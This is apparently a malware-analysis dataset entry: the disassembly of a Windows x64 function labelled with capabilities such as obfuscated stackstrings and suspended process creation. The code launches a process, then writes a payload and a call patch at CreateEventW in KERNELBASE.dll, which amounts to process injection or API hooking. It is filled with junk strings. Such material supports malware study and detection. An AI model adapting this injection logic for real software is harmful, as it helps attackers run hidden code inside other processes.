Function at 0x180008c20
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Create process on windows
Create process suspended

Disassembly:
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x9c8
mov rax, qword [0x180056080]
xor rax, rsp
mov qword [rsp + 0x9b8], rax
mov qword [rsp + 0x8c8], 0
mov dword [rsp + 0x9c], 0
mov qword [rsp + 0x300], 0
mov byte [rsp + 0x8d], 0
lea rax, [rsp + 0x508]
lea rcx, str.OdwZMpHJb
mov rdi, rax
mov rsi, rcx
mov ecx, 0xa
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x308], 9
mov byte [rsp + 0x9b], 0x5a
mov dword [rsp + 0x264], 3
mov eax, 3
mov word [rsp + 0x1a0], ax
mov byte [rsp + 0x9a8], 0x4b
mov byte [rsp + 0x9a9], 0x45
mov byte [rsp + 0x9aa], 0x52
mov byte [rsp + 0x9ab], 0x4e
mov byte [rsp + 0x9ac], 0x45
mov byte [rsp + 0x9ad], 0x4c
mov byte [rsp + 0x9ae], 0x42
mov byte [rsp + 0x9af], 0x41
mov byte [rsp + 0x9b0], 0x53
mov byte [rsp + 0x9b1], 0x45
mov byte [rsp + 0x9b2], 0x2e
mov byte [rsp + 0x9b3], 0x64
mov byte [rsp + 0x9b4], 0x6c
mov byte [rsp + 0x9b5], 0x6c
mov byte [rsp + 0x9b6], 0
mov qword [rsp + 0x2b0], 0
mov byte [rsp + 0x60], 0
mov qword [rsp + 0x318], 0
xor eax, eax
mov word [rsp + 0x1a4], ax
mov dword [rsp + 0x268], 5
mov byte [rsp + 0x990], 0x43
mov byte [rsp + 0x991], 0x72
mov byte [rsp + 0x992], 0x65
mov byte [rsp + 0x993], 0x61
mov byte [rsp + 0x994], 0x74
mov byte [rsp + 0x995], 0x65
mov byte [rsp + 0x996], 0x45
mov byte [rsp + 0x997], 0x76
mov byte [rsp + 0x998], 0x65
mov byte [rsp + 0x999], 0x6e
mov byte [rsp + 0x99a], 0x74
mov byte [rsp + 0x99b], 0x57
mov byte [rsp + 0x99c], 0
lea rax, [rsp + 0x5f0]
lea rcx, str.YQDGmyRlSqiEpzJwtfdbVAhUjBnsgcCx
mov rdi, rax
mov rsi, rcx
mov ecx, 0x21
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x61], 0
mov qword [rsp + 0x320], 0
mov byte [rsp + 0x62], 0x74
mov qword [rsp + 0x328], 1
mov eax, 4
mov word [rsp + 0x1b0], ax
mov qword [rsp + 0x330], 0
mov qword [rsp + 0x338], 0
mov eax, 5
mov word [rsp + 0xa4], ax
mov byte [rsp + 0x63], 0x57
mov eax, 9
mov word [rsp + 0xa8], ax
mov byte [rsp + 0x64], 0
lea rcx, [rsp + 0x9a8]
call fcn.180007850
mov rcx, rax
call fcn.1800062b0
mov qword [rsp + 0x1e0], rax
mov byte [rsp + 0x65], 0
mov qword [rsp + 0x340], 0
mov eax, 5
mov word [rsp + 0xac], ax
cmp qword [rsp + 0x1e0], 0
jne 0x180008f20
lea rdx, str.lomLSVWGHqAcvxCnpUdO
lea rcx, [0x1800577f0]
call fcn.180014540
lea rdx, [rsp + 0x9a8]
mov rcx, rax
call fcn.180014540
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
mov qword [rsp + 0x348], 0
mov dword [rsp + 0x1a8], 0xfffffffe
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1a8]
jmp 0x18000a329
lea rdx, str.RuJrwqLNcinFGhoYWTdEsSlzaXBPObZDHyvk
lea rcx, [0x1800577f0]
call fcn.180014540
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
lea rdx, [rsp + 0x990]
mov rcx, qword [rsp + 0x1e0]
call fcn.1800063f0
mov qword [rsp + 0x8c0], rax
cmp qword [rsp + 0x8c0], 0
jne 0x180008fd7
lea rdx, str.lOdKJFGULWkfpqgDXyMwamPbhNHxRB
lea rcx, [0x1800577f0]
call fcn.180014540
mov rdx, qword [rsp + 0x8c0]
mov rcx, rax
call fcn.18000bef0
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
mov qword [rsp + 0x350], 0
mov dword [rsp + 0x26c], 9
mov dword [rsp + 0x1ac], 0xfffffffe
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1ac]
jmp 0x18000a329
lea rdx, str.aEniryzJSqQMUKVXfwgOBATkpjRCeWtGsoxcYhmvH
lea rcx, [0x1800577f0]
call fcn.180014540
mov rdx, qword [rsp + 0x8c0]
mov rcx, rax
call fcn.18000bef0
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
xor eax, eax
mov word [rsp + 0xb0], ax
mov qword [rsp + 0x358], 2
mov qword [rsp + 0x360], 9
mov eax, 9
mov word [rsp + 0xb4], ax
lea rax, [rsp + 0x760]
lea rcx, str.bwkQLWMFHCjgpfxrXYlnSAEDRqadNIUZPhtiJoVemyOc
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2d
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x68], 0
mov qword [rsp + 0x368], 0
mov eax, 8
mov word [rsp + 0xb8], ax
mov byte [rsp + 0x69], 0x74
lea rax, [rsp + 0x920]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov qword [rsp + 0x370], 8
lea rax, [rsp + 0x528]
lea rcx, str.AldYtTFPwexpkBzDZoX
mov rdi, rax
mov rsi, rcx
mov ecx, 0x14
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x270], 2
mov qword [rsp + 0x378], 0
mov dword [rsp + 0x920], 0x68
mov qword [rsp + 0x310], 2
lea rax, [rsp + 0x900]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov eax, 4
mov word [rsp + 0xbc], ax
mov dword [rsp + 0x274], 6
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov qword [rsp + 0x278], rax
mov qword [rsp + 0x388], 0
mov dword [rsp + 0x200], 3
mov byte [rsp + 0x6a], 0x4e
mov byte [rsp + 0x6b], 0
mov qword [rsp + 0x390], 4
mov eax, 7
mov word [rsp + 0xc0], ax
mov eax, 9
mov word [rsp + 0xc4], ax
mov dword [rsp + 0x918], 0
mov byte [rsp + 0x6c], 0x58
mov eax, 2
mov word [rsp + 0xc8], ax
mov qword [rsp + 0x398], 0
mov qword [rsp + 0x3a0], 0
mov byte [rsp + 0x6d], 0
lea rax, [rsp + 0x5b8]
lea rcx, str.pxkWHCvNhngjtLFeiKEfMmP
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x204], 4
lea rdx, [rsp + 0x918]
mov rcx, qword [rsp + 0x278]
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x3a8], 0
mov eax, 3
mov word [rsp + 0xcc], ax
mov eax, 1
mov word [rsp + 0xd0], ax
mov byte [rsp + 0x6e], 0
mov eax, 8
imul rax, rax, 2
mov qword [rsp + 0x280], rax
lea rdx, str.uBwMvgXPtazoc
lea rcx, [0x180057a30]
call fcn.180014930
mov rcx, qword [rsp + 0x1e8]
mov rdx, qword [rsp + 0x280]
mov rdx, qword [rcx + rdx]
mov rcx, rax
call fcn.18000a350
lea rdx, [0x180014d90]
mov rcx, rax
call fcn.18000a540
mov eax, 1
mov word [rsp + 0xd4], ax
mov dword [rsp + 0x208], 2
mov qword [rsp + 0x3b0], 6
lea rax, [rsp + 0x7f8]
lea rcx, str.mZnxTUuPLtCJcYsXfWoIDkelgAiVSpErvaqFjyMwGdBbzRQ
mov rdi, rax
mov rsi, rcx
mov ecx, 0x30
rep movsb byte [rdi], byte [rsi]
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rsp + 0x1e8]
mov rcx, qword [rcx + rax]
call fcn.180008ab0
mov qword [rsp + 0x1f0], rax
lea rax, [rsp + 0x900]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x920]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x1f0]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000942e
lea rcx, str.wtZfOQIaiVsRgzWMJjnUmuodh
call fcn.1800014c0
mov byte [rsp + 0x6f], 0x68
mov byte [rsp + 0x70], 0
mov eax, 4
mov word [rsp + 0xd8], ax
mov dword [rsp + 0x20c], 3
mov qword [rsp + 0x3b8], 0
mov qword [rsp + 0x3c0], 6
mov rdx, qword [rsp + 0x900]
lea rcx, str.moeHyCXrOEDqtlPKBZjQzvwVbAfn
call fcn.1800014c0
mov dword [rsp + 0x210], 1
mov rdx, qword [rsp + 0x908]
lea rcx, str.KHtJvQBRSVcCbsZaMTwNrfozEPpXdeWImj
call fcn.1800014c0
mov qword [rsp + 0x3c8], 0
mov eax, 3
mov word [rsp + 0xdc], ax
mov dword [rsp + 0x214], 6
mov byte [rsp + 0x71], 0x65
mov rax, qword [str.fdbjxvh]
mov qword [rsp + 0x3d0], rax
mov qword [rsp + 0x3d8], 8
mov eax, 3
mov word [rsp + 0xe0], ax
mov rax, qword [rsp + 0x900]
mov qword [rsp + 0x8c8], rax
mov byte [rsp + 0x72], 0x41
lea rax, [rsp + 0x4f8]
lea rcx, str.CuysHUIB
mov rdi, rax
mov rsi, rcx
mov ecx, 9
rep movsb byte [rdi], byte [rsi]
mov eax, 4
mov word [rsp + 0xe4], ax
mov eax, 1
mov word [rsp + 0xe8], ax
jmp 0x180009490
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov r8d, eax
mov rdx, qword [rsp + 0x1f0]
lea rcx, [0x18004f63c]
call fcn.1800014c0
mov qword [rsp + 0x3e0], 2
mov dword [rsp + 0x218], 1
mov eax, 1
mov word [rsp + 0xec], ax
lea rax, [rsp + 0x5a0]
lea rcx, str.jtFYbLJimvpdSulxcIRgMHN
mov rdi, rax
mov rsi, rcx
mov ecx, 0x18
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x73], 0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [rsp + 0x8c8], 0
jne 0x180009573
cmp dword [rsp + 0x9c], 0
jne 0x180009573
mov edx, dword [rsp + 0x9c]
lea rcx, str.yWYEpPwjalAhdOqrHsmv
call fcn.1800014c0
mov eax, 9
mov word [rsp + 0xf0], ax
mov qword [rsp + 0x3e8], 7
mov eax, 1
mov word [rsp + 0xf4], ax
mov dword [rsp + 0x21c], 7
mov dword [rsp + 0x1b4], 0xffffff9d
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1b4]
jmp 0x18000a329
mov edx, dword [rsp + 0x9c]
lea rcx, str.belHLxJuAjkEhTYRyqavwsoDpOCdPnzFKBZGIrcNmQiSXW
call fcn.1800014c0
lea rcx, str.diAaUQgCo
call fcn.1800014c0
xor eax, eax
mov word [rsp + 0x100], ax
mov dword [rsp + 0x220], 1
mov byte [rsp + 0x75], 0
mov rcx, qword [rsp + 0x9e0]
call fcn.18000cc00
add rax, 0x38
mov r8, rax
mov rdx, qword [rsp + 0x8c0]
mov rcx, qword [rsp + 0x8c8]
call fcn.1800084e0
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x400], 2
mov eax, 3
mov word [rsp + 0x104], ax
mov byte [rsp + 0x76], 0x78
mov dword [rsp + 0x224], 6
lea rax, [rsp + 0x790]
lea rcx, str.qVCBKsGQmvSOJgMRtFzxiAlDINcphYePuwrLWZXbUHkjE
mov rdi, rax
mov rsi, rcx
mov ecx, 0x2e
rep movsb byte [rdi], byte [rsi]
cmp qword [rsp + 0x58], 0
jne 0x180009683
lea rcx, [0x18004f6f8]
call fcn.1800014c0
mov qword [rsp + 0x408], 0
mov dword [rsp + 0x1b8], 0xffffff9d
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1b8]
jmp 0x18000a329
lea rdx, str.AyvYjDBXzGfxhNcSEeTIkiugmpHWOFwsZ
lea rcx, [0x1800577f0]
call fcn.180014540
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
mov dword [rsp + 0x228], 4
xor eax, eax
mov word [rsp + 0x10c], ax
lea rax, [rsp + 0x730]
lea rcx, str.muZMBojdRlbYNrvPyJQxnqwVHzhfpUAkGWtaegsL
mov rdi, rax
mov rsi, rcx
mov ecx, 0x29
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x418], 0
mov eax, 1
mov word [rsp + 0x110], ax
mov byte [rsp + 0x78], 0
mov qword [rsp + 0x420], 0
lea rdx, [rsp + 0x990]
lea rcx, str.VdzbkMCsxLqStRwUABPIZTDKilXmHrvnEWJocfeO
call fcn.1800014c0
mov rax, qword [rsp + 0x8c0]
mov rax, qword [rax]
mov qword [rsp + 0x1f8], rax
lea rax, [rsp + 0x518]
lea rcx, str.gVuoAQvsUMX
mov rdi, rax
mov rsi, rcx
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x79], 0x4f
mov qword [rsp + 0x428], 0
mov eax, 9
mov word [rsp + 0x114], ax
mov qword [rsp + 0x430], 2
mov eax, 7
mov word [rsp + 0x118], ax
mov r8, qword [rsp + 0x1f8]
mov rdx, qword [rsp + 0x8c0]
lea rcx, str.iMXeT
call fcn.1800014c0
mov eax, 5
mov word [rsp + 0x11c], ax
mov eax, 6
mov word [rsp + 0x120], ax
mov qword [rsp + 0x438], 0
mov byte [rsp + 0x7a], 0
lea rcx, str.wEQGxUlgVbYHCdpPFMfWeXzRJLTKtDaoyAImijkqOrvhBNZ
call fcn.1800014c0
mov qword [rsp + 0x440], 0
mov qword [rsp + 0x448], 9
mov rax, qword [str.TikAnEP]
mov qword [rsp + 0x450], rax
mov eax, 1
mov word [rsp + 0x124], ax
mov eax, 4
mov word [rsp + 0x128], ax
mov rcx, qword [rsp + 0x1f8]
call fcn.180008790
mov eax, 1
mov word [rsp + 0x12c], ax
lea rdx, [rsp + 0x990]
lea rcx, str.MhyleWoxaPQGHLkUdJuOjDvgiEcBwKpAYFqNXnVsZ
call fcn.1800014c0
mov eax, 5
mov word [rsp + 0x130], ax
mov eax, 7
mov word [rsp + 0x134], ax
mov dword [rsp + 0x22c], 0
mov byte [rsp + 0x7b], 0x53
lea rax, [rsp + 0x2a0]
lea rcx, str.vAJuc
mov rdi, rax
mov rsi, rcx
mov ecx, 6
rep movsb byte [rdi], byte [rsi]
xor eax, eax
mov word [rsp + 0x138], ax
mov qword [rsp + 0x458], 0
mov qword [rsp + 0x460], 7
mov byte [rsp + 0x7c], 0
mov qword [rsp + 0x468], 0
mov qword [rsp + 0x470], 7
mov dword [rsp + 0x230], 0
mov byte [rsp + 0x7d], 0x75
mov byte [rsp + 0x7e], 0
mov qword [rsp + 0x478], 0
mov eax, 7
mov word [rsp + 0x13c], ax
lea rax, [rsp + 0x668]
lea rcx, str.tkHXAYDjfRGCJQZPMoOrgUwpcxWemEhyV
mov rdi, rax
mov rsi, rcx
mov ecx, 0x22
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x8c0]
mov qword [rsp + 0x8e0], rax
mov eax, 5
mov word [rsp + 0x140], ax
mov byte [rsp + 0x7f], 0
mov qword [rsp + 0x480], 0
lea rax, [rsp + 0x588]
lea rcx, str.MlwmjnOJbiCrKEgpeDAUo
mov rdi, rax
mov rsi, rcx
mov ecx, 0x16
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x234], 5
mov qword [rsp + 0x488], 6
mov byte [rsp + 0x80], 0x55
lea rdx, str.oULBpGDPAiXqSNEstfFvwTzCZcaIHbWyhYJkVMrn
lea rcx, [0x1800577f0]
call fcn.180014540
mov rdx, qword [rsp + 0x8e0]
mov rcx, rax
call fcn.18000bef0
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
mov eax, 5
mov word [rsp + 0x144], ax
mov r9d, 0x40
lea r8, [rsp + 0x8e0]
mov edx, 8
lea rcx, [rsp + 0x8c8]
call fcn.1800079a0
test eax, eax
je 0x180009a40
lea rcx, str.ODeLmtCpYxyVoKMAdkcXTianwBbGHJQEFuqNzWjrZg
call fcn.1800014c0
mov dword [rsp + 0x238], 7
mov eax, 1
mov word [rsp + 0x148], ax
mov eax, 7
mov word [rsp + 0x14c], ax
mov byte [rsp + 0x81], 0
mov dword [rsp + 0x1bc], 0xffffff9d
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1bc]
jmp 0x18000a329
lea rdx, [rsp + 0x990]
lea rcx, str.UfZsDYgtLHRKzprXTmMJwjAoCPBNFuvkOIGdSlhaeEqiV
call fcn.1800014c0
lea rdx, str.zqRNfYlZJIBgFdQPViHGkUmKEejvnc
lea rcx, [0x1800577f0]
call fcn.180014540
mov rdx, qword [rsp + 0x8c0]
mov rcx, rax
call fcn.18000bef0
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
lea rcx, str.RUmWMyBonvxabjGO
call fcn.1800014c0
mov qword [rsp + 0x498], 3
mov rax, qword [rsp + 0x8c0]
add rax, 5
mov rcx, qword [rsp + 0x58]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x1c0], eax
mov byte [rsp + 0x82], 0
mov eax, 5
mov word [rsp + 0x150], ax
mov byte [rsp + 0x83], 0x6e
mov qword [rsp + 0x4a0], 0
mov dword [rsp + 0x23c], 5
mov eax, 6
mov word [rsp + 0x154], ax
mov byte [rsp + 0x9a0], 0xe8
mov byte [rsp + 0x9a1], 0
mov byte [rsp + 0x9a2], 0
mov byte [rsp + 0x9a3], 0
mov byte [rsp + 0x9a4], 0
mov qword [rsp + 0x4a8], 0
mov qword [rsp + 0x4b0], 4
mov byte [rsp + 0x84], 0
mov dword [rsp + 0x240], 8
lea rax, [rsp + 0x7c0]
lea rcx, str.TWKXfZzDtEAhGbIULcVaJMpFjSkRneHmByqguvrsPloxNiCOd
mov rdi, rax
mov rsi, rcx
mov ecx, 0x32
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x1c0]
mov dword [rsp + 0x9a1], eax
mov byte [rsp + 0x85], 0x6b
mov eax, 1
mov word [rsp + 0x158], ax
mov qword [rsp + 0x288], 5
mov byte [rsp + 0x86], 0
mov byte [rsp + 0x87], 0x78
mov qword [rsp + 0x4b8], 0
mov dword [rsp + 0x244], 3
mov qword [rsp + 0x4c0], 4
lea rax, [rsp + 0x9a0]
mov qword [rsp + 0x8d8], rax
mov r9d, 0x40
lea r8, [rsp + 0x8d8]
mov rdx, qword [rsp + 0x288]
lea rcx, [rsp + 0x8c8]
call fcn.1800079a0
mov eax, 7
mov word [rsp + 0x15c], ax
mov eax, 1
mov word [rsp + 0x160], ax
lea rax, [rsp + 0x618]
lea rcx, str.YkiCZNsbWeBVUOlzdALGHXEQDfygIaKM
mov rdi, rax
mov rsi, rcx
mov ecx, 0x21
rep movsb byte [rdi], byte [rsi]
mov r9d, 5
lea r8, [rsp + 0x8d8]
lea rdx, [rsp + 0x8c0]
lea rcx, [rsp + 0x8c8]
call fcn.180007d70
test eax, eax
je 0x180009ce3
lea rdx, [rsp + 0x990]
lea rcx, [0x18004f974]
call fcn.1800014c0
mov byte [rsp + 0x88], 0x67
mov byte [rsp + 0x89], 0
mov qword [rsp + 0x4c8], 3
mov dword [rsp + 0x1c4], 0xffffff9d
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1c4]
jmp 0x18000a329
lea rdx, [rsp + 0x990]
lea rcx, str.gjwIMrlEYXzNxDSGesytpFdPULWAcBu
call fcn.1800014c0
mov rcx, qword [rsp + 0x9e0]
call fcn.18000cc00
add rax, 0x38
mov dword [rsp + 0x50], eax
mov qword [rsp + 0x4e0], 6
mov eax, 6
mov word [rsp + 0x168], ax
mov eax, 5
mov word [rsp + 0x16c], ax
lea rdx, str.DUGSpYTIfczW
lea rcx, [0x1800577f0]
call fcn.180014540
mov edx, dword [rsp + 0x50]
mov rcx, rax
call fcn.18000c6b0
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
mov eax, 7
mov word [rsp + 0x170], ax
mov dword [rsp + 0x248], 2
mov qword [rsp + 0x4e8], 9
lea rax, [rsp + 0x828]
lea rcx, str.GfzRyPMoNSIubhlmxDEnYekTJWqctgvXOLrFdawpUCsjiVQ
mov rdi, rax
mov rsi, rcx
mov ecx, 0x30
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rsp + 0x50]
mov rcx, rax
call fcn.18001cadc
mov qword [rsp + 0x290], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x640]
lea rcx, str.WhBlcJwTiqsaZjRSQKDOeobHvYuPEFXAV
mov rdi, rax
mov rsi, rcx
mov ecx, 0x22
rep movsb byte [rdi], byte [rsi]
mov byte [rsp + 0x8b], 0
mov byte [rsp + 0x8c], 0x59
mov rcx, qword [rsp + 0x9e0]
call fcn.18000cc00
mov qword [rsp + 0x298], rax
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccd0
mov rcx, qword [rsp + 0x298]
mov qword [rsp + 0x20], rcx
mov r9, rax
mov r8d, 0x38
lea rdx, [0x180056cd0]
mov rcx, qword [rsp + 0x1d8]
call fcn.180008800
mov qword [rsp + 0x4f0], 8
mov byte [rsp + 0x95], 0
mov byte [rsp + 0x8e], 0x48
lea rax, [rsp + 0x708]
lea rcx, str.MNpOEydvXjlGuxfrYAntHKbJQeaCBzqwhTsVoRW
mov rdi, rax
mov rsi, rcx
mov ecx, 0x28
rep movsb byte [rdi], byte [rsi]
mov eax, 4
mov word [rsp + 0x174], ax
lea rdx, str.LRdJvQlkWMgNehuGOmbinUPrVotTp
lea rcx, [0x1800577f0]
call fcn.180014540
mov edx, dword [rsp + 0x50]
mov rcx, rax
call fcn.18000c6b0
lea rdx, str.pxZAXjNeMasdEGBtzDKSiyTnCRcFQYvJWkwhfOUuPmg
mov rcx, rax
call fcn.180014540
mov rdx, qword [rsp + 0x1d8]
mov rcx, rax
call fcn.180014900
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
mov qword [rsp + 0x2b8], 0
mov byte [rsp + 0x8f], 0x55
lea rax, [rsp + 0x690]
lea rcx, str.qvpNwjOHJYSUMmnkiDlcZPbzeBtFCKryuosI
mov rdi, rax
mov rsi, rcx
mov ecx, 0x25
rep movsb byte [rdi], byte [rsi]
mov eax, 7
mov word [rsp + 0x178], ax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x8d0], rax
lea rdx, str.ZymeiRYgCTdxMFN
lea rcx, [0x1800577f0]
call fcn.180014540
mov rdx, qword [rsp + 0x8d0]
mov rcx, rax
call fcn.18000bef0
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
mov eax, 4
mov word [rsp + 0x17c], ax
mov byte [rsp + 0x90], 0
movsxd rax, dword [rsp + 0x50]
mov r9d, 4
lea r8, [rsp + 0x8d0]
mov rdx, rax
lea rcx, [rsp + 0x8c8]
call fcn.1800079a0
test eax, eax
je 0x18000a071
mov rdx, qword [rsp + 0x58]
lea rcx, str.gsjMQaIAteyShpudcvx
call fcn.1800014c0
mov qword [rsp + 0x2c0], 0
mov dword [rsp + 0x24c], 9
mov qword [rsp + 0x2c8], 3
mov eax, 7
mov word [rsp + 0x180], ax
mov eax, 9
mov word [rsp + 0x184], ax
mov byte [rsp + 0x91], 0x63
lea rax, [rsp + 0x540]
lea rcx, str.zfqKwdNWvJpOainRMAxG
mov rdi, rax
mov rsi, rcx
mov ecx, 0x15
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x1c8], 0xffffff9d
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1c8]
jmp 0x18000a329
lea rdx, str.ycjQVJipKePfoD
lea rcx, [0x1800577f0]
call fcn.180014540
mov rdx, qword [rsp + 0x58]
mov rcx, rax
call fcn.18000bef0
lea rdx, [0x1800148b0]
mov rcx, rax
call fcn.18000a540
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x8e8], rax
mov byte [rsp + 0x94], 0x4a
mov eax, 6
mov word [rsp + 0x18c], ax
mov rax, qword [rsp + 0x1d8]
mov qword [rsp + 0x8f0], rax
mov byte [rsp + 0xa0], 0x77
lea rax, [rsp + 0x888]
lea rcx, str.BYmuapQMDgCryeFwLVcIXzdsbJZvhEtqkSHoOGPRjiKflTNx
mov rdi, rax
mov rsi, rcx
mov ecx, 0x31
rep movsb byte [rdi], byte [rsi]
movsxd rax, dword [rsp + 0x50]
mov r9, rax
lea r8, [rsp + 0x8f0]
lea rdx, [rsp + 0x8e8]
lea rcx, [rsp + 0x8c8]
call fcn.180007d70
test eax, eax
je 0x18000a1d5
mov rdx, qword [rsp + 0x58]
lea rcx, str.QdqENXVwytScivHRnlgIjJYpuLhDMOC
call fcn.1800014c0
mov byte [rsp + 0x96], 0
mov eax, 9
mov word [rsp + 0x190], ax
mov qword [rsp + 0x2d8], 4
lea rax, [rsp + 0x570]
lea rcx, str.mpbsUZxLTakRWgADVNeqK
mov rdi, rax
mov rsi, rcx
mov ecx, 0x16
rep movsb byte [rdi], byte [rsi]
mov dword [rsp + 0x254], 0
mov qword [rsp + 0x2e0], 0
mov dword [rsp + 0x1cc], 0xffffff9d
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1cc]
jmp 0x18000a329
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x8f8], rax
movsxd rax, dword [rsp + 0x50]
mov r9d, 0x20
lea r8, [rsp + 0x8f8]
mov rdx, rax
lea rcx, [rsp + 0x8c8]
call fcn.1800079a0
test eax, eax
je 0x18000a2d1
mov rdx, qword [rsp + 0x58]
lea rcx, str.COxqAYliVGnuHSoMtJykaFgf
call fcn.1800014c0
mov eax, 7
mov word [rsp + 0x198], ax
mov byte [rsp + 0x97], 0
mov dword [rsp + 0x258], 5
lea rax, [rsp + 0x5d0]
lea rcx, str.MiFYNJKaTrZQgPndHcbEemsp
mov rdi, rax
mov rsi, rcx
mov ecx, 0x19
rep movsb byte [rdi], byte [rsi]
mov qword [rsp + 0x2e8], 0
mov dword [rsp + 0x1d0], 0xffffff9d
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov eax, dword [rsp + 0x1d0]
jmp 0x18000a329
lea rcx, str.erBDnSuKpANFxGXTOHwQdlfkYijM
call fcn.1800014c0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rsp + 0x380], 0
mov byte [rsp + 0x99], 0
mov byte [rsp + 0x9a], 0x79
mov eax, 9
mov word [rsp + 0x19c], ax
mov dword [rsp + 0x260], 6
mov rcx, qword [rsp + 0x9e0]
call fcn.18000ccf0
mov rcx, qword [rsp + 0x9b8]
xor rcx, rsp
call fcn.18001c7b0
add rsp, 0x9c8
pop rdi
pop rsi
ret